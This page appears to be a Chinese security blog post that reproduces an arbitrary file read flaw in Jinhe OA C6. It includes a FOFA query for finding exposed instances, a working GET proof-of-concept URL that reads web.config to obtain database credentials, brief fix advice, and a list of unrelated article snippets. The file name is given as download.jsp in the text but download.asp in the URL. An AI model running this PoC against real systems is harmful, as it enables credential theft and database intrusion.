当前位置： 首页 > news >正文

金和OA C6任意文件读取漏洞 复现[附POC]

news 2026/5/20 11:29:02

文章目录

  • 金和OA C6任意文件读取漏洞 复现[附POC]
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响版本
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
    • 0x06 修复建议

金和OA C6任意文件读取漏洞 复现[附POC]

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

金和OA协同办公管理系统C6软件共有20多个应用模块，160多个应用子模块，涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围，从功能型的协同办公平台上升到管理型协同管理平台，并不断地更新完善，全面支撑企业发展,提供专业oa,oa系统,oa办公系统,办公自动化软件,协同办公管理系统.支持oa办公自动化系统免费在线试用。

金和OA C6系统的download.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器的敏感信息。

0x03 影响版本

金和OA系统

0x04 漏洞环境

FOFA语法：app=“金和网络-金和OA”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC （GET）

http://IP:port/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
其中IP为目标漏洞平台的实际地址或域名

3.复现

执行POC即可获取Web.config文件内容，其中包含数据库账号密码。打开Web.config文件定位敏感信息处，得到如下信息。
在这里插入图片描述发现可以获取User和Password后，借助数据库连接工具即可进一步获取敏感信息，由于涉及大量信息，此处已忽略具体截图。

0x06 修复建议

1.实施产品的权限访问控制，降低互联网搜索引擎的查询。
2.加强后台认证要求，提高口令的安全性。
3.增强关键页面的安全性，提升WEB后台的安全访问控制权限能力。

相关文章：

金和OA C6任意文件读取漏洞 复现[附POC]

文章目录 金和OA C6任意文件读取漏洞 复现[附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 金和OA C6任意文件读取漏洞 复现[附POC] 0x01 前言 免责声明：请勿利用文章内的相关技术从事非法测试…...

编程日记 2023/10/13 17:10:39

IP地址技术原理

IP地址是互联网中的关键元素，它允许数据在全球范围内进行路由和传输。本文将深入探讨IP地址的技术原理，包括IP地址的结构、IP地址分配、子网划分和IPv4与IPv6之间的转换。 第一部分：IP地址基础 1.1IP地址是什么？ IP地址&#xf…...

编程日记 2023/10/13 17:09:38

【网络安全】密码学基础

前言 密码学是网络安全的核心组成部分，它帮助我们保护信息，防止未经授权的访问。在这篇文章中，我们将从基础开始，深入了解密码学的基本概念和原理，包括加密、解密、密钥、哈希函数等。我们将尽可能使用简单的语言和实…...

编程日记 2023/10/13 17:08:37

AWS AD Connector 的网络配置

配置 AWS 的 AD Connector 通常遇到的都是些网络问题，且 AD Connector 本身屏蔽了一些网络细节，使得查找root cause往往有点困难，本文就把 AD Connector 网络问题梳理一下。 首先，需要搞清楚的是：AD Connector 是 Microsoft Active Directory 的一种代理，IAM可以通过它联…...

编程日记 2023/10/13 17:07:37

kafka详解(三)

2.2 Kafka命令行操作 2.2.1 主题命令行操作 1）查看操作主题命令参数 [aahadoop102 kafka]$ bin/kafka-topics.sh2）查看当前服务器中的所有topic (配置了环境变量不需要写bin/) [aahadoop102 kafka]$ bin/kafka-topics.sh --bootstrap-server hadoop10…...

编程日记 2023/10/13 17:06:36

[Spring] SpringMVC 简介（二）

目录 五、域对象共享数据 1、使用 ServletAPI 向 request 域对象共享数据 2、使用 ModelAndView 向 request 域对象共享数据 3、使用 Model、Map、ModelMap 向 request 域对象共享数据 4、向 session 域和 application 域共享数据 六、SpringMVC 的视图 1、ThymeleafVie…...

编程日记 2023/10/13 17:04:32

idea一些不太常用但是能提升编码效率的快捷键

Ctrl Shift V：从历史选择粘贴 从历史剪粘版中选择要粘贴的内容。Ctrl Shift Z：重做 恢复上一步撤销内容Shift F4：在新窗口中打开 比如要从另一个类中复制代码 可以把这个类在新窗口单独打开 用AltTab 来回切换复制Ctrl PageUp&#xff…...

编程日记 2023/10/13 17:02:31

vsto word属性信息 并读取

要通过VSTO (Visual Studio Tools for Office) 读取和操作 Microsoft Word 文档的属性信息，您可以使用 C# 或 VB.NET 等 .NET 编程语言结合 VSTO 来实现。以下是一个示例，演示如何获取 Word 文档的属性信息：首先，确保您已经在 Vis…...

编程日记 2023/10/13 17:01:29

android之TextView自由选择复制

文章目录 前言一、效果图二、实现步骤1.OnSelectListener2.SelectionInfo类3.TextLayoutUtil类4.复制弹框的xml布局5.弹框背景Drawable6.倒三角Drawable7.复制工具类8.调用 总结 前言 根据时代进步，那些干产品的也叼砖起来了，今天就遇到一个需求&#x…...

编程日记 2023/10/13 17:00:28

【mysql】 bash: mysql: command not found

在linux 服务器上安装了mysql 也可以正常运行。 但是执行命令，系统提示：bash: mysql: command not found bash:mysql:找不到命令 执行的命令是： mysql -u root -h 127.0.0.1 -p由于系统默认会查找的 /usr/bin/ 中下的命令，如…...

编程日记 2023/10/13 16:59:26

鲲山科技：引入和鲸 ModelWhale，实现量化策略的高效迭代

量化投资是数据科学在金融行业的应用。 2023 年，量化行业的超额收益开始收敛，量化私募如何形成自身核心竞争力？ 和鲸拜访客户鲲山科技（深圳），揭示其“弯道超车”的独家秘诀。 群体作战 年初至今&#xff…...

编程日记 2023/10/13 16:58:25

PFSK152 3BSE018877R1 有源滤波器的定义

PFSK152 3BSE018877R1 有源滤波器的定义 有源滤波器是以晶体管和运算放大器为基本元件设计的滤波电路。除了这些元件，有源滤波器的电路还包含电阻和电容，但不包含电感。 我们知道滤波器具有频率选择性。因此，有源滤波器电路使用晶体管和运算…...

编程日记 2023/10/13 16:57:24

WebDAV之π-Disk派盘 + 恒星播放器

想要拥有一款万能视频播放器，全能解码播放器，无需转码，支持所有格式的视频和音频，直接播放的播放器？那就选恒星播放器。 恒星播放器支持视频投屏，倍速播放，后台播放等功能，还能一键截图和录制gif动图。支持全格式超高清真4K解码，蓝光HDR低占用，支持ISO文件直出的播放…...

编程日记 2023/10/13 16:56:22

亚马逊，速卖通，敦煌产品测评补单攻略：低成本、高安全实操指南

随着电商平台的发展和消费者对产品质量的要求提升，测评补单成为了商家们提升销售和用户口碑的关键环节。然而，如何在保持成本低廉的同时确保操作安全，一直是卖家们面临的挑战。今天林哥分享一些实用的技巧和策略，帮助卖家们产品的…...

编程日记 2023/10/13 16:55:21

常用linux解压命令

1. 超过4g的zip文件在linux下unzip失败。需要用7z压缩，然后用p7zip命令解压。 p7zip -d x.7z 2. gzip解压.gz文件 gzip -d a11.txt.gz 和 gunzip a1.txt.gz gunzip –c filename.gz > filename #解压缩保留源文件, 上述命令非常容易写错，最后导…...

编程日记 2023/10/13 16:54:20

TensorFlow入门(二十二、梯度下降)

梯度下降的定义及作用 梯度下降本身是一个最优化算法,通常也被称为最速下降法。常被用于机器学习和人工智能中递归性地逼近最小偏差模型,也就是使用它找到一个函数的局部极小值。 使用过程中,梯度下降算法以函数上当前点对于梯度(或者是近似梯度)反方向的规定步长距离点进行迭代…...

编程日记 2023/10/13 16:53:19

WPF中的多重绑定

MultiBinding 将会给后端传回一个数组, 其顺序为绑定的顺序. 例如: <DataGridMargin"10"AutoGenerateColumns"False"ItemsSource"{Binding Stu}"><DataGrid.Columns><DataGridTextColumn Binding"{Binding Id}" Header…...

编程日记 2023/10/13 16:52:18

区块链在游戏行业的应用

区块链技术在游戏行业有许多潜在的应用&#xff0c;它可以改变游戏开发、发行和玩家交互的方式。以下是区块链技术在游戏行业的一些主要应用&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.游戏资产…...

编程日记 2023/10/13 16:51:16

uniapp快速入门系列（4）- 微信小程序开发

第四章 微信小程序开发 4.1 微信小程序开发与uniapp的融合4.2 微信小程序API在uniapp中的使用4.3 微信小程序常见问题的解决方法问题1: 如何获取用户信息&#xff1f;问题2: 如何获取当前位置&#xff1f;问题3: 如何发送网络请求&#xff1f; 在本章中&#xff0c;我们将学习如…...

编程日记 2023/10/13 16:50:15

Kafka保证消息幂等以及解决方案

1、幂等的基本概念 幂等简单点讲&#xff0c;就是用户对于同一操作发起的一次请求或者多次请求的结果是一致的&#xff0c;不会产生任何副作用。幂等分很多种&#xff0c;比如接口的幂等、消息的幂等&#xff0c;它是分布式系统设计时必须要考虑的一个方面。 查询操作(天然幂等…...

编程日记 2023/10/13 16:49:15

LabVIEW字符串处理保姆级教程：从长度计算到日期格式化，13个实例带你玩转

LabVIEW字符串处理实战指南&#xff1a;从基础操作到高级应用 在工业自动化、测试测量和仪器控制领域&#xff0c;LabVIEW作为图形化编程的标杆工具&#xff0c;其字符串处理能力直接影响着数据解析、通信协议实现等核心功能。本文将通过13个典型场景&#xff0c;系统讲解如何高…...

编程新知 2026/5/20 11:08:54

CANopen设备配置不求人：手把手教你用EDS/DCF文件玩转对象字典

CANopen设备配置实战&#xff1a;从EDS/DCF解析到对象字典高效配置 在工业自动化领域&#xff0c;CANopen协议因其开放性和灵活性成为设备互联的主流选择。而对象字典(Object Dictionary)作为CANopen设备的核心配置数据库&#xff0c;其管理效率直接影响项目开发周期。本文将带…...

编程新知 2026/5/20 10:03:16

小红书无水印下载全攻略：如何用XHS-Downloader高效保存优质内容

小红书无水印下载全攻略&#xff1a;如何用XHS-Downloader高效保存优质内容 【免费下载链接】XHS-Downloader 小红书&#xff08;XiaoHongShu、RedNote&#xff09;链接提取/作品采集工具&#xff1a;提取账号发布、收藏、点赞、专辑作品链接&#xff1b;提取搜索结果作品、用户…...

编程新知 2026/5/20 8:58:45

渲染天空、日落与行星：给前端初学者的实时大气可视化入门指南

渲染天空、日落与行星&#xff1a;给前端初学者的实时大气可视化入门指南 你有没有想过&#xff0c;为什么浏览器里的一片蓝天看起来那么“假”&#xff1f;为什么游戏中的夕阳总像打了层柔光滤镜&#xff0c;却少了那种空气里浮动的微粒感&#xff1f;又或者&#xff0c;当你拖…...

编程新知 2026/5/20 7:32:59

RAMba架构：RNN与稀疏注意力融合优化长文本处理

1. RAMba架构&#xff1a;RNN与稀疏注意力的创新融合在自然语言处理领域&#xff0c;处理长文本序列一直是个棘手的问题。传统Transformer架构虽然性能强大&#xff0c;但其注意力机制的计算复杂度与序列长度呈平方关系增长&#xff0c;这严重限制了模型处理长文本的能力。RAMb…...

编程新知 2026/5/20 6:33:14

ARM ETM集成测试与验证方法详解

1. ARM ETM集成测试概述嵌入式跟踪宏单元(ETM)作为ARM处理器调试子系统的核心组件&#xff0c;其功能验证是芯片开发流程中的关键环节。ETM7/ETM9分别对应ARM7和ARM9系列处理器&#xff0c;通过实时捕获指令流水线活动、数据访问和处理器状态变化&#xff0c;为开发者提供非侵入…...

编程新知 2026/5/20 6:01:41

ComfyUI Portrait Master中文版：终极AI肖像提示词生成指南

ComfyUI Portrait Master中文版&#xff1a;终极AI肖像提示词生成指南 【免费下载链接】comfyui-portrait-master-zh-cn 肖像大师 中文版 comfyui-portrait-master 项目地址: https://gitcode.com/gh_mirrors/co/comfyui-portrait-master-zh-cn ComfyUI Portrait Master…...

编程新知 2026/5/20 5:05:58

SpringBoot + MyBatis-Plus 项目迁移到 PostgreSQL，踩到 ‘Bad value for type long‘ 这个坑？手把手教你排查和修复

SpringBoot MyBatis-Plus 项目迁移到 PostgreSQL 的"类型陷阱"&#xff1a;从报错到根治指南 当Java开发者将SpringBoot项目从MySQL迁移到PostgreSQL时&#xff0c;经常会遇到一个看似简单却令人头疼的问题&#xff1a;org.postgresql.util.PSQLException: Bad valu…...

编程新知 2026/5/20 3:45:51

第4篇：角色设定与上下文管理——让AI扮演专家

第4篇&#xff1a;角色设定与上下文管理——让AI扮演专家适用人群&#xff1a;进阶 | 字数&#xff1a;约25,000字 | 预计阅读时间&#xff1a;60分钟前言 在前面三篇中&#xff0c;我们完成了"入门三部曲"&#xff1a;知道了提示词的本质&#xff0c;学会了黄金四步…...

编程新知 2026/5/20 3:41:41

芯片HAST测试：通电工作下如何精准模拟极端环境挑战？

为了确保产品在高温、高湿等恶劣条件下仍能正常工作&#xff0c;HAST&#xff08;Highly Accelerated Stress Test&#xff09;测试成为不可或缺的一部分。本文将深入解析HAST测试&#xff0c;并探讨如何在通电工作状态下进行精准模拟&#xff0c;以应对极端环境挑战。什么是HA…...

编程新知 2026/5/20 2:42:47